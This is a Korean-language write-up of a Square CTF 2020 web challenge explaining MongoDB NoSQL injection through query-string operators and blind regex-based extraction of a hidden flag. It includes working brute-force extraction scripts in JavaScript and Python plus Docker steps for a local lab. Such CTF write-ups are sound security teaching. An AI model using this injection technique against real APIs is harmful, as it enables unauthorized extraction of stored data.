11.14 ~ 11.15
너무 빡세게 하고 싶지 않아서 한문제 풀었다.
제일 재미있었던 문제: 블라인드 에스큐엘 인젝션
NoSQL 에 Blind Sql Injection을 수행하는 문제
Web
웹 블로그에서 숨겨진 플레그를 찾는 문제입니다.
blind sql injection
주어진 URL로 들어가면 React로 구현된 웹 애플리케이션이 나옵니다.
게시물은 Rest API로 구성된 서버에서 정보를 받아옵니다.
다음과 같이 요청을 보냈을때 title이 test인 게시물 1개만 받아왔습니다.
http://challenges.2020.squarectf.com:9542/api/posts?title=test
몽고 DB로 구성된 데이터 베이스에 NoSQL Injection 을 수행할 수 있습니다.
중요한 점은 query string에 다음과 같이 객체로 정보를 넘길 수 있다는 점입니다.
아래와 같이 요청했을때 title이 test가 아닌 데이터만 받아옵니다.
/*
$ne는 not equal의 약자로
title이 test가 아닌 게시물들을 찾습니다.
*/
http://challenges.2020.squarectf.com:9542/api/posts?title[$ne]=test
// 몽고DB 에서는 이렇게 수행됩니다.
db.posts.find(
{
title: {
$ne: 'test'
}
}
)
$regex 로 정규표현식을 사용할 수 있습니다.
다음과 같이 정규 표현식을 사용하면 title이 f로 시작하는 게시물만 가져올 수 있습니다.
// title이 f로 시작하는 게시물만 가져옵니다.
http://challenges.2020.squarectf.com:9542/api/posts?title[$regex]=^f
redacted by WAF
하지만, SQL Injection으로 DB에서 원하는 데이터를 읽어온다고 해도 그 이후에 WAF (웹 서버 방화벽) 에서 필터링하기 때문에 flag를 읽을 수 없습니다.
그러면 어떻게 flag 를 읽을 수 있을까요?
3
2
1
....
Blind SQL Injection 을 이용하면 역발상으로 읽을 수 있습니다.
정규표현식으로 flag의 내용을 유추합니다.
flag의 내용이 flag{
라고 생각해서 요청을 보냈고 응답을 받았습니다.
이 의미는 flag의 내용이 flag{????????????}
라는 의미와 같습니다.
http://challenges.2020.squarectf.com:9542/api/posts?title[$ne]=test&flag[$regex]=flag{
flag{a
라고 보내는 경우 응답을 받지 못했습니다.
이 의미는 flag{
다음의 문자가 a가 아니라는 의미입니다.
http://challenges.2020.squarectf.com:9542/api/posts?title[$ne]=test&flag[$regex]=flag{a
flag{n
라고 보내는 경우 플래그 를 받았습니다.
이 의미는 flag{
다음의 문자가 n으로 플래그는 flag{n?????????}
이라는 의미입니다.
http://challenges.2020.squarectf.com:9542/api/posts?title[$ne]=test&flag[$regex]=flag{n
이러한 방법으로 문자를 무차별 대입해서 flag의 내용을 찾을 수 있습니다.
쿼리를 삽입해서, 데이터를 바로 읽어오는 방법이 아니고,
이게 맞는지 틀린지를 구분하는 쿼리를 통해
내게 필요한 정보를 유추해가는 과정.
// 1. http 요청을 보내기 위한 axios 모듈 사용
const axios = require('axios')
// 2. flag 의 정보 유추
let flag = 'flag{'
// 3. 무차별 대입할 문자 테이블
let table = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMHOPQRSTUVWXYZ{}!_-"
/*
4. http 요청을 보내는 함수 getFlag
자바스크립트는 기본적으로 비동기 요청이기 때문에 응답 순서가 요청순서와 다릅니다.
비동기로 작성하면
제가 다음 문자가 a라고 요청해도
응답을 받기전에 b문자를 요청합니다.
그리고 b 문자의 응답을 먼저 받을 수 있습니다.
요청 순서와 응답 순서를 일치 시키기 위해 async로 작성했습니다.
*/
const getFlag = async function () {
// 5. flag 찾았는지 여부
let findFlag = false
// 6. flag를 찾을 때 까지 반복문을 수행합니다.
while(!findFlag) {
// 7. 테이블에서 문자 한개씩 꺼내기
for(let ascii of table) {
let payload = flag + ascii
// 8. 비동기 요청
let result = await axios.get(`http://challenges.2020.squarectf.com:9542/api/posts?title=flag&flag[$regex]=${payload}`)
// 9. 응답 확인
if (result) {
const data = result.data
// 10. 응답이 빈 리스트가 아닌 경우 flag 문자열을 맞춘겁니다.
if(data.length > 0) {
console.log(payload)
// 11. } 까지 flag를 맞추면 반복문을 종료합니다.
if(ascii == '}') {
findFlag = true
}
// 12. flag를 업데이트 합니다.
flag = payload
}
}
}
}
}
getFlag()
# 1. http 요청을 보내기 위한 requests 모듈 사용
import requests
# 2. flag 정보 유추
flag = "flag{"
# 3. 무차별 대입할 문자 테이블
table = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMHOPQRSTUVWXYZ{}!_-"
# 4. 기본 URL 설정
base_url = "http://challenges.2020.squarectf.com:9542/api/posts?title=flag&flag[$regex]="
# 5. flag 찾았는지 여부
find_flag = False
# 6. flag 찾을 때 까지 반목문 수행
while not find_flag:
# 7. 테이블에서 문자 한개씩 꺼내기
for ascii in table:
payload = flag + ascii
url = base_url + payload
# 8. http get 동기 요청
result = requests.get(url)
# 9. 응답이 빈 리스트가 아닌 경우
if len(result.json()) > 0:
# 10. 응답 출력
print(payload)
# 11. } 까지 flag 를 맞추면 반복문 종료
if ascii == "}":
find_flag = True
# 12. flag를 업데이트합니다.
flag = payload
square CTF는 모든 문제를 docker로 제공합니다.
https://squarectf.com/2020/deepweb.html
편집기로 열어서 /deepwebblog/web/Dockerfile
의 node
버전을 14.0.으로 내립니다.
(도커 파일 만들때 왜 버전을 latest로 했는지 몰라)
FROM node:latest
FROM node:14.0.0
그리고 url을 변경해줍니다. 변경안하면, 도메인 찔러서 timeout 발생합니다.
(이쯤되니 대회에서 사용했던 파일 그냥 말아서 준것 같다)
- API_URL=http://challenges.2020.squarectf.com:9542/api/
- API_URL=http://localhost:9542/api/
docker-compose.yml 파일이 있는 디렉토리에서 다음 명령어 수행
docker-compose up
http://localhost:9541/ 에 접속하면 잘 나옵니다. 루프백 http://127.0.0.1:9541/
도 잘나옴
위의 코드에서 도메인 부분을 localhost로 변경해서 수행합니다.
https://blog.0daylabs.com/2016/09/05/mongo-db-password-extraction-mmactf-100/